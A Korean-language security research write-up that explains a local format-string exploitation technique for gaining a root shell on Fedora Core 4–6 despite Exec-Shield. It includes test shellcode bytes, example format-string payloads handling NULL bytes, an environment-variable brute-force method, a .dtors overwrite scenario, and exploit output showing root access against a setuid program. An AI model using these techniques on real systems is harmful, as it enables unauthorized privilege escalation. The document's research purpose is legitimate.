Fedora Core 4, 5, 6 내에서 shellcode를 사용하는 local format string exploit 방법

부제: 여전히 shellcode의 실행은 가능했다!


작성자: 유동훈 - Xpl017Elz <szoahc@hotmail.com>
http://x82.inetcop.org



 Overview


몇 개월만에 다시 글을 작성하게 되었습니다. 그 이유는 Fedora Core 5가 릴리즈되었기 때문입니다.
이번 문서는 기존의 text로만 작성했던 방식을 벗어나서 누구나 쉽게 글을 볼 수 있도록 html 문서로 작성해보았습니다.
여담입니다만, 그동안의 문서가 너무 딱딱한 내용을 다루고 있고, 극소수만을 위한 글이 되어버렸기 때문에 이제부터는
조금 쉽게 풀어보려고 합니다. 더 이해하기 쉽도록 그림 설명도 더 추가하구요.

이전에 작성한 문서 중에 Fedora Core 3 시스템에서 shellcode를 이용한 local & remote format string 기술에 대해
소개한 적이 있습니다. 이 문서의 주된 내용은 format string 취약점을 통해 heap 상에 실행 가능한 shellcode를 생성하고
이를 실행하는 공격이 가능하다는 것이었습니다.

Fedora Core 3의 경우, stack 영역은 실행이 불가능하지만, heap 영역의 일부분은 여전히 실행이 가능했기 때문에
이 영역에 shellcode를 올릴 경우, 코드 실행이 충분히 가능했습니다. 하지만, Fedora Core 4 시스템 부터는 이 영역마저
실행 권한을 없애버렸습니다. 그래서 shellcode를 이용한 exploit 기술을 사실 상 불가능하다고 판단하고 있었습니다.

잠시 다른 설명을 조금 하겠습니다.

얼마 전에 중국에서 작성된 'Bypass Exec-shield Under RedHat'에 관한 내용을 조금 설명해보겠습니다.
이 문서를 보면 Fedora Core 시스템 내에서 총 3가지의 exploit 방법을 소개하고 있더군요.
이 3가지 기술은 다음 파트로 나눌 수 있습니다.

1. shellcode를 이용한 exploit 기술
2. GOT overwrite 기술
3. Return to library exploit 기술

문서를 읽고 약간의 아쉬운 생각이 들었습니다. 이전에 나와있는 기술을 답습한다는 느낌을 지울 수는 없더군요.
문서를 보면, 첫 번째로 소개된 shellcode를 이용한 exploit 기술을 증명해보이는데, 단순 POC 실험에 불가한 내용입니다.
일반적으로 read-only data 섹션은 code write가 불가능하기 때문에 문서 내에서는 공격 대상 프로그램을 컴파일 할 때 shellcode를
임의로 read-only data 섹션에 올려두고 실험하고 있습니다. "이제 shellcode를 이용한 exploit은 많이 힘들어졌다."라는 사실을
증명해보이는 그런 내용이라 할 수 있습니다.

그럼, 지금부터 현재 최신 시스템을 차근히 설명드리고 난 후, 공격 시나리오를 구성해보도록 하겠습니다.



 무엇이 문제인가?


다음 화면은 Fedora Core 5의 프로세스 맵핑 내용입니다.
맵핑 내용을 보면, heap과 stack 모두 실행이 불가능해보입니다. 잠시 후, 테스트를 수행해보겠지만 Fedora Core 4
시스템부터는 정말로 이 두 영역을 이용하여 shellcode를 실행하긴 힘들 것 같습니다.



[보기: 프로세스 메모리 맵]


어떤 사항이 변경되었는지 살펴보기 위해, Fedora Core 3 시스템 내에서 test했던 shellcode 코드를 그대로 받아와서
실행해보았습니다.



[x82@fc5 ~]$ cat > write.c
char write[]={
        0xeb,0x17,0x5e,0x31,0xc0,0xb0,0x04,0x31,
        0xdb,0xb3,0x01,0x89,0xf1,0x31,0xd2,0xb2,
        0x0b,0xcd,0x80,0x31,0xc0,0xb0,0x01,0xcd,
        0x80,0xe8,0xe4,0xff,0xff,0xff,0x58,0x70,
        0x6c,0x30,0x31,0x37,0x45,0x6c,0x7a,0x0a
};
int main(){
        void (*funx)()=(void *)write;
        printf("funx(): %p\n",funx);
        funx();
}

[x82@fc5 ~]$ gcc -o write write.c
write.c: In function ?ain?
write.c:10: warning: incompatible implicit declaration of built-in function ?rintf?
[x82@fc5 ~]$ gdb -q write
(gdb) r
Starting program: /home/x82/write
Reading symbols from shared object read from target memory...(no debugging symbo
ls found)...done.
Loaded system supplied DSO at 0xc52000
(no debugging symbols found)
(no debugging symbols found)
funx(): 0x80495c0

Program received signal SIGSEGV, Segmentation fault.
0x080483d2 in main ()
(gdb) x/x 0x80495c0
0x80495c0 :      0x315e17eb
(gdb) where
#0  0x080483d2 in main ()
(gdb)
[보기: shellcode 실행 시험]


정확히 말씀드리자면, .data 영역에 test용 shellcode를 올려놓고 실행을 시도하는 모습입니다. 하지만,
Fedora Core 3 시스템과 달리, 실행이 불가능한 것을 볼 수 있습니다. 그렇다면 이제 shellcode의 실행은
영영 불가능한 것일까요?

아닙니다. 그렇다면 지금 이 문서를 작성하고 있지도 않겠지요. ^_^
다시, 위의 프로세스 맵을 살펴보면, 읽기, 쓰기, 실행이 가능한 라이브러리 영역이 세 곳에 존재하는 것을
알 수 있습니다.


--
00be4000-00be5000 rwxp 00019000 fd:00 1243921	/lib/ld-2.4.so
00d16000-00d17000 rwxp 0012e000 fd:00 1243926	/lib/libc-2.4.so
00d17000-00d1a000 rwxp 00d17000 00:00 0
--


바로 이렇게 세 부분입니다. 그렇다면, 어떻게 이 라이브러리 메모리 영역을 이용할 것인지에 대해 생각해볼 수
있습니다. 우선, 버퍼 오버플로우 기법으로 이 라이브러리 영역에 데이터를 쓰거나 올리는 일은 실제 불가능해
보입니다. Return-to-library 기법을 이용한다고 해도 16m 미만의 NULL을 포함한 주소를 사용하고 있기 때문에
공격에 몇 가지 난관이 존재합니다. 일전에 'Fedora Core 3 remote/local shellcode format string' 문서를
읽어보신 분이라면, 포맷스트링 기법을 통해 원하는 메모리 영역에 shellcode를 올릴 수 있음을 잘 알고 계실 겁니다.
그런데 지금의 경우에는 그 방법도 힘들어 보이는군요. 이번 공격의 난관은 shellcode를 실행할 수 있는 메모리
영역을 찾는 일보다 이 영역에 shellcode를 생성하는 일이 될 것 같습니다.



 문제의 해결책


현재 당면한 가장 큰 문제는 라이브러리 영역에 shellcode를 입력할 수 있느냐의 여부입니다.
라이브러리 주소에는 항상 NULL을 포함하도록 되어 있기 때문에 문제점이 발생할 수 있습니다.
예를 들어서, NULL을 포함하는 라이브러리 주소에 특정 값을 덮어씌우기 위해 공격 코드를 구성하면 다음과
같습니다.

--
예: 0x0086c0ec

일반적인 format string 공격 코드: "\xec\xc0\x86\x00\xee\xc0\x86\x00%00000x%n%00000x%n"
--

위 공격 코드는 정상적으로 작동하지 않을 것입니다. 그 이유는 입력 중간에 NULL("\x00") 값이 들어가기 때문이죠.
이와 같이 NULL을 포함하는 주소 위치에 특정값을 입력하는 것은 매우 어렵습니다.

그래서 저는 NULL 값을 덮어씌울 수 있는 몇 가지 기술에 대해 연구하였습니다.
성공과 실패 여부와 상관없이 제가 생각했던 방법을 설명드리고 넘어가도록 하겠습니다.

앞으로의 설명에서 특정값으로 덮어씌우고자 하는 대상 위치의 주소값을 retloc이라 표현하겠습니다.
또한, 대상 위치(retloc)에 덮어씌우는 특정값을 retaddr이라 부르도록 하겠습니다.


1. 결과적으로 실패한 공격 방법


우선, 간단하게 생각할 수 있는 방법이 덮어쓰고자 하는 NULL이 들어간 retloc을 먼저 $-flag로 읽어들일 수 있는
위치에 덮어씌운 후, 그 값을 $-flag로 다시 읽어 최종적으로 NULL 값이 들어간 retloc에 retaddr을 덮어씌우는
방법입니다. 이 방법을 실현하기 위해 Fedora Core가 아닌 환경에서 몇 가지 테스트를 해본 결과, 안타깝게도 공격은
실패하였습니다.

$-flag로 접근할 수 있는 특정 stack 위치에 우리가 덮어쓰는데 사용할 NULL이 들어간 retloc 값을 덮어씌운 후,
$-flag를 통해 다시 읽는 공격 코드는 다음과 같습니다.

--
예: retloc: 0xbffffbc4
retaddr: 0x08049500 (참고로, 주소에 NULL 값이 들어가 있음)

exploit code: "\xc4\xfb\xff\xbf\xc6\xfb\xff\xbf%38136x%1$n%29444x%2$n|%72$x|";
--

위 공격 코드를 실행하면, 0xbffffbc4 주소에 0x08049500 값을 덮어씌웁니다. 이제 해당 위치에 있는 값을
$-flag 72번째를 통해 읽어오면, 직접적으로 NULL을 포함하는 retloc을 입력하지 않아도 stack에 쓰여진 값을 통해
공격이 가능할 것이라 예상한 것입니다.

이 가정이 틀린 이유는 간단합니다. 그 이유는 $-flag가 해당 위치에 값을 읽어올 때, format string 공격에 의해
덮어 씌운 0x08049500 값을 읽어오지 않기 때문입니다. 즉, 0xbffffbc4 위치의 값을 읽어올 때, 공격 코드에 의해
특정값이 덮어씌워지기 이전에 이미 값을 읽어오기 때문에 해당 위치에 있던 dummy 값을 읽게 됩니다.
그래서 공격은 성공할 수 없습니다.


2. retloc에 덮어씌울 내용이 적을 경우 성공적인 공격 방법


이 방법은 retloc에 NULL이 들어간 주소를 공격하는 방법 이외로 기존의 format string 공격 기법과 다른 공격 방법을
제공합니다. 원리는 같지만, 공격 코드의 구조는 현저히 다르게 구성됩니다. 일반적인 format string 공격 코드는
항상 덮어 씌우고자 하는 retloc을 두 번 이상 stack에 입력해두어야 공격에 성공할 수 있습니다. 예를 들어
0x080494dc 주소를 덮어씌우려면 '0x0804 / 0x94dc'와 같은 식으로 두 번에 나누어 값을 덮어씌워야 공격이 가능한 것이죠.
한 번에 값을 덮어씌우지 못하는 이유는 간단합니다. 입력해야 하는 retaddr 값을 16진수에서 10진수로 변환해주고나면
입력이 불가능할 정도로 값이 커져버리기 때문입니다. 그래서 이를 최소 두 번에 걸쳐 나누어 쓸 수 밖에 없습니다.

그러나 지금과 같이 retloc에 NULL이 있을 경우 retloc을 두 번이 아닌 한 번만 입력하여 공격할 수 있는 방법을
생각해볼 수 있습니다. 이 공격 방법은 연속하는 주소를 입력하지 못할 때, (또는, 값을 아예 입력하지 못하지만 stack 상의
일부분에 위치하여 반드시 그 주소를 한 번만 참조하여 공격해야 하는 경우) 매우 효과적일 것입니다.


--
예: 0x0086c0ec

일반적인 format string 공격 코드: "\xec\xc0\x86\x00\xee\c0\x86\x00%00000x%n%00000x%n"

고안된 공격 코드: "%109479558x%109479558x%109479558x%109479558x%109479558x%109479558x
%109479558x%109479558x%109479558x%109479563x%37\$n"+`printf "\xec\xc0\x86\x00"`

또는, "%999999999x%9479559x%$-flag포맷스트링n`printf "\xec\xc0\x86\x00"`

이와 같은 식으로 공격 구성이 가능합니다.
--


이것은 0x0086c0ec 주소에 0x41414141이란 값을 덮어씌우는 공격 코드입니다. 좀 우습게 생겼지만, "%숫자x" 포맷스트링
앞에 넣을 수 있는 정수의 크기는 자릿수로 9개를 넘기면 안되기 때문에 0x41414141이란 값을 한번에 덮어씌우는 것은
무리라고 볼 수 있죠. (0x41414141 == 1094795585) 그러므로, 9개의 자릿수를 이용하여 나누어 덮어씌우면 됩니다.
109479558 x 10에 +5를 더하면 1094795585가 되는데 이 10진수 값을 16진수로 변환하면 0x41414141이 됩니다.

이로써, stack 상에 주소값이 한 개만 있어도 덮어씌우기 공격이 가능해졌습니다. ^_^
이것은 실로 많은 분야에 응용될 것입니다.


3. 무작위 대입이 가능할 경우, 매우 성공적인 방법


random stack과 같은 복잡한 환경의 경우, $-flag를 통해 해당 위치에 있는 값을 무작위로 대입해주는 노가다 공격이
필요합니다. 무작위 대입법은 exploit을 제작해주면 어느 정도 해결될 수 있는 문제이기 때문에 앞서 설명드렸던
라이브러리 영역을 공략할 때 가장 좋은 방법이라 할 수 있습니다. 우선 이 방법은 환경 변수 또는 프로그램 인자 값을
이용하여 공격합니다. 그렇기 때문에 공격에 성공하려면 $-flag를 반드시 이용해야 하며, 현재의 stack에서 환경 변수가
있는 stack 위치까지 도달하는 만큼의 크기를 $-flag 인자 값으로 대입해주어야 합니다. 그렇기 때문에 무작위로 변경되는
환경 변수의 stack 위치를 찍는 brute-force 공격 과정을 필요로 하게 됩니다.

위치를 맞추는 것이 최대 관건이기 때문에 $-flag 기법을 통해 적절한 위치만 파악한다면 공격을 성공시킬 수 있습니다.
일반적으로 stack 상의 환경 변수는 다음과 같은 구조를 가지고 있습니다.


--
"A=B\0"
"C=D\0"
"HOSTNAME=test\0"
"X82=Xpl017Elz\0"
"SHELL=/bin/bash\0"
--


위의 구조는 사용자가 stack에 NULL 입력을 할 수 있도록 매우 좋은 조건을 제시해주고 있는데, 예를 들어 0xf7004150
주소 값을 입력하기 위해 다음과 같이 구성할 수 있습니다.


--
"A=\x50\x41\0"
"\xf7=abcde\0"
"B=\x52\x41\0"
"\xf7=abcde\0"
--


그러면 실제 stack은 다음과 같은 모양이 됩니다.


--
환경 변수...
0xf7004150
... 환경 변수...
0xf7004152
... 환경 변수
--



[보기: 환경 변수 stack 내용]


각 환경 변수는 항상 뒷 부분에 NULL을 붙여주어 구분하기 때문에 우리가 원하는 주소값 retloc을 입력하기엔 충분한
여건입니다. 또한, 프로그램의 인자 역시 이와 동일한 구조를 가지고 있습니다.


--
  argv[0]  argv[1]   argv[2]   argv[3]   ...
[XXXX][\0][XXXX][\0][XXXX][\0][XXXX][\0] ...
--



[보기: 프로그램 인자 stack 내용]


프로그램의 인자 값을 이용한 방법 역시, 각 인자값의 뒷 부분에 NULL이 들어가기 때문에 $-flag를 이용해 인자 값이
위치하고 있는 stack 위치를 예측할 경우, 공격을 성공시킬 수 있습니다.



 공격 시나리오 구성


공격 시 문제가 되었던 난관도 이제 어느 정도 해결된 듯 하고, 전체적인 공격 시나리오를 작성해보도록 하겠습니다.
완성된 공격 시나리오는 다음과 같습니다.


1. 시스템 내에서 사용 가능한(쓰거나 실행) 라이브러리 공간 주소를 얻습니다.

2. 얻어진 라이브러리 주소를 프로그램의 인자로 입력하면서 $-flag의 위치를 찾습니다.
(stack 상의 위치가 지속적으로 변동되지만, 동일한 위치로 돌아오는 간격은 비교적 짧습니다.)

3. $-flag를 통해 라이브러리 주소 위치를 정확하게 얻을 수 있게 되었다면, 이 영역에 24byte shellcode를 입력합니다.

4. 프로그램의 .dtors +4 주소를 얻어 이 주소 공간에 shellcode를 생성한 라이브러리 공간 주소를 넣어줍니다.


이번 공격은 이전 shellcode exploit 문서와 마찬가지로 gdb 디버깅 과정을 생략하였습니다. 그 이유는
디버깅 공격 시 stack 상태와 실제 공격 시 stack 상태의 차이가 크기 때문입니다. 일반적인 exploit의 경우
디버깅 과정을 거치는 것이 순서라고 할 수 있습니다. 이 경우, 디버깅 결과와 실제 공격 시 stack 오차가
적기 때문에 어느 정도 계산해주면 실제 공격을 가볍게 성공시킬 수 있습니다.

하지만, 이번 공격의 경우, format string 기법을 통해 stack의 상태를 어느 정도 검사할 수 있고, 앞서 말씀드린
이유 때문에 gdb 디버깅 과정을 생략한 것입니다. (작성자의 귀차니즘으로 인해 통째로 생략이 가능해져버렸습니다.
-_-... 죄송합니다.)



 공격 결과


지금 설명하는 공격 코드는 별도로 문서와 함께 첨부하였습니다.
공격 코드는 다음의 기능을 차례대로 수행합니다.


1. dtors 위치에 shellcode가 있는 library 주소를 덮어씌우기 위해 사용되는 $-flag 값을 얻습니다.
이 값은 format string 취약점이 존재하는 첫 번째 인자에 데이터를 입력하여 stack과의 차감거리를 계산합니다.
(exploit part 1)

2. library 주소에 shellcode를 덮어씌우기 위해 사용되는 $-flag 값을 얻습니다.
$-flag 대입법을 통해 공격 대상 프로그램의 인자 값으로 입력한 데이터와 일치하는 stack 위치를 얻습니다.
(exploit part 1)

3. 공격에 필요한 library의 정확한 위치와 dtors 주소의 위치를 얻습니다.
(exploit part 1)

4. 다음과 같은 공격 버퍼를 구성합니다. (exploit part2)

--
공격 대상 프로그램의 첫 번째 인자:
[.dtors1][.dtors2]
[%16진수 shellcode를 10진수로 변경한 후, $-flag를 통해 library 위치에 덮어씌우는 공격코드]
[%.dtors를 shellcode가 존재하는 library 위치 주소로 덮어씌우는 공격코드]

공격 대상 프로그램의 두 번째 인자부터 3byte library 주소가 순서대로 들어감

$-flag에 의해 올바른 library 주소값이 읽히기 위해서는 align이 정확히 맞춰져야 하는데
이를 위해 인자 중간에 PAD 코드를 입력하여 조절합니다.
--

5. library 주소 값의 align을 맞추기 위해, PAD 값을 늘려가면서 무한 대입 공격을 시도합니다.


실제 공격 코드의 실행 결과는 다음과 같습니다.



[x82@fc5 shellcode_ex]$ cat printf.c
#include <stdio.h>

int main(int argc,char *argv[])
{
        char ppp[4096];
        strncpy(ppp,argv[1],sizeof(ppp)-1);
        printf(ppp);
}

[x82@fc5 shellcode_ex]$ ls -al printf
-rwsr-xr-x 1 root root 4805 May 20 22:18 printf
[x82@fc5 shellcode_ex]$ id
uid=500(x82) gid=500(x82) groups=500(x82) context=root:system_r:unconfined_t:SystemLow-SystemHigh
[x82@fc5 shellcode_ex]$ ./part_one ./printf
--
Fedora Core Linux 4,5 based shellcode format string POC exploit
exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
--

Start exploit part #1
find stack...
gap: 5
find exploit arguments...
### ### ### ### ### ### ### ### ### ### ### ### ### ###
$-flag: 1835, align: 2, ret $-flag: 5
Start exploit part #2
Input Any key...


		...

					...
							...


			...
									...


                                                        sh-3.1# id
uid=0(root) gid=500(x82) groups=500(x82) context=root:system_r:unconfined_t:SystemLow-SystemHigh
sh-3.1#
[보기: exploit 실행 결과]


위와 같이 root shell을 성공적으로 실행할 수 있었습니다.
이러한 실행 결과는 시스템 환경에 따라 다르게 나타날 수 있으며, 대입 공격 시간 또한, stack의 위치에 따라
천차만별로 다를 것입니다.



 끝 맺음


이 공격 방법은 아직까지 Proof-of-Concept 성향이 강합니다. Execshield의 도입으로 공격이 어려워진 환경에서
shellcode의 실행을 증명하는 공격 기법이 될 것입니다. 물론 이 방법 뿐만 아니라, 공격의 성공을 위해 사용되었던
각각의 기술들은 충분히 활용이 가능한 것들입니다. 예를 들면, NULL 값을 처리하는 format string 기법을 통해
-PIE 모드로 컴파일된 프로그램을 Return-to-library 기법으로 공격하는데 응용될 수 있을 것입니다.

언제나 그렇지만, 다소 무식한 공격 기법이 때로는 유용한 exploit 방법으로 활용되곤 합니다.
이 방법 역시 그렇다는 것을 보여주고 있지요.

문서가 깔끔하지 못한 것은 저자가 처해있는 현재 상황을 간접적으로 나타내주고 있습니다.
요즘 회사 업무가 버거울 정도로 정말 타이트하네요... -_ㅠ
항상, 그렇듯 문서의 오류는 피드백 바라구요. 오타가 약간의 실수는 너그러이 넘어가주시길 바라면서,
문서를 끝 맺도록 하겠습니다.



 참고한 레퍼런스


작성자: 유동훈 - Fedora Core3 내에서 shellcode를 사용하는 local & remote format string exploit 방법
(Fedora Core 3 based shellcode local & remote format string exploit method)



by "dong-houn yoU" (Xpl017Elz), in INetCop(c)